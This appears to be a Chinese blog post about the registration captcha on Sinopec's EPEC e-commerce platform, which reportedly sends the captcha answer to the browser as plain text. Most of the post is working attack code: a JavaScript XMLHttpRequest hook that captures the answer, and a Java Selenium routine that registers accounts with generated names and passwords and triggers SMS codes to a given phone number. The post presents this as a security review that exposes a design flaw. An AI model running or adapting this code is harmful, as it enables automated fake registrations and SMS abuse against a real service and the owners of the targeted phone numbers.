赞
踩
由于网站注册入口容易被黑客攻击,存在如下安全问题:
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
简介: 易派客是顺应“互联网+”国家发展战略,根植于中国石化的坚实产业链、采购管理实践及信息化新成果,探索铸就的“互联网+供应链”电商平台。
易派客研发的英文数字混合图形验证码,存在严重的致命缺陷,使设计的功能无效,攻击者无需进行识别图形就可以英文数字字符串。
前端界面分析,这是易派客自己研发的滑动验证码,网上没有现成的教学视频,但形式都差不多,发现严重问题:
前端利用 canvs 将后台直接返回的字符串(不是图片信息)在前端显示加干扰线的图片,用JS 注入方式直接获取位置,获取字符串后将参数提交即可
这次还是采用模拟器的方式,简单,只需要注入JS,两步就可以搞定:
(function() {
// 保存原始的XMLHttpRequest构造函数
const originalXHR = XMLHttpRequest;
// 创建一个新的构造函数
function CustomXHR() {
const xhrInstance = new originalXHR();
// 保存原始的open方法
const originalOpen = xhrInstance.open;
xhrInstance.open = function(method, url, async, user, password) {
// 调用原始的open方法
originalOpen.apply(xhrInstance, arguments);
};
// 保存原始的send方法
const originalSend = xhrInstance.send;
xhrInstance.send = function(body) {
// 可以在这里拦截请求体
console.log('Request Body:', body);
// 调用原始的send方法
originalSend.apply(xhrInstance, arguments);
};
// 拦截onreadystatechange事件
xhrInstance.addEventListener('readystatechange', function() {
if (xhrInstance.readyState === 4) {
// 可以在这里拦截响应
if(xhrInstance.responseText.indexOf('imageCode')>=0){
window.epecResponse=xhrInstance.responseText;
console.log('epecResponse:', epecResponse);
}
}
});
return xhrInstance;
}
// 复制原始的XMLHttpRequest原型到新的构造函数
CustomXHR.prototype = originalXHR.prototype;
// 将全局的XMLHttpRequest替换为自定义的构造函数
window.XMLHttpRequest = CustomXHR;
})();
public RetEntity send(WebDriver driver, String areaCode, String phone) {
RetEntity retEntity = new RetEntity();
try {
driver.get(INDEX_URL);
// 注入监听脚本 ,存入指定变量
InputStream inStream = Epec.class.getResourceAsStream("/epec.js");
StringBuffer jsBuffer = new StringBuffer();
InputStreamReader inPutStream = (inStream != null) ? new InputStreamReader(inStream) : null;
BufferedReader bufferedReader = (inPutStream != null) ? new BufferedReader(inPutStream) : null;
String line = null;
while ((line = bufferedReader.readLine()) != null) {
jsBuffer.append(line + "\n");
}
bufferedReader.close();
((JavascriptExecutor) driver).executeScript(jsBuffer.toString());
// 请输入用户名
WebElement userElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入用户名')]"));
userElement.sendKeys("user" + System.currentTimeMillis());
// 请设置您的登录密码
String pass = "Abc" + System.currentTimeMillis() + "!";
WebElement passElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请设置您的登录密码')]"));
passElement.sendKeys(pass);
passElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请再次输入您的登录密码')]"));
passElement.sendKeys(pass);
// 请输入真实姓名
String trueName = NickName.getFamily();
WebElement tureNameElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入真实姓名')]"));
tureNameElement.sendKeys(trueName);
// 请输入您的手机号
WebElement phoneElemet = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入您的手机号')]"));
phoneElemet.sendKeys(phone);
// 点击获取验证码
driver.findElement(By.className("refresh")).click();
Thread.sleep(1 * 1000);
String js = "return window.epecResponse;";
Object exeRet = ((JavascriptExecutor) driver).executeScript(js);
JSONObject retJson = (exeRet != null) ? JSONObject.parseObject(exeRet.toString()) : null;
JSONObject dataJson = (retJson != null) ? retJson.getJSONObject("data") : null;
String smsCode = (dataJson != null) ? dataJson.getString("imageCode") : null;
System.out.println("exeRet=" + exeRet + "->smsCode=" + smsCode);
if (smsCode == null || "".equals(smsCode)) {
return null;
}
// 请输入验证码
WebElement smsCodeElemet = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入验证码')]"));
smsCodeElemet.sendKeys(smsCode);
// 获取验证码
WebElement getCodeElemet = driver.findElement(By.xpath("//span[contains(text(),'获取验证码')]"));
getCodeElemet.click();
String gtInfo = getCodeElemet.getText();
retEntity.setMsg(gtInfo);
if (gtInfo.contains("重新发送")) {
retEntity.setRet(0);
return retEntity;
} else {
System.out.println("gtInfo=" + gtInfo);
retEntity.setRet(-1);
return retEntity;
}
} catch (Exception e) {
System.out.println(e.toString());
retEntity.setRet(-1);
retEntity.setMsg(e.toString());
} finally {
driver.manage().deleteAllCookies();
}
return retEntity;
}
由于碰到严重设计缺陷,本次测评非常简单
中石化易派客作为顺应“互联网+”国家发展战略,根植于中国石化的坚实产业链、采购管理实践及信息化新成果,探索铸就的“互联网+供应链”电商平台,但本次测评时,图形验证码在后台直接输出, 这就明白的告诉攻击者,答案已经给你了,不需要进行图形识别
不过,前端的水平的确可以, 在前端完成了超级无法的加干扰线、文字扭曲等展示,可惜最终如皇帝的新装, 等于没有。总之作为实力雄厚的国有大企业,出现这么严重的低级问题! 在业界面前被打脸, 对不起自己的能源行业巨头地位 !
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。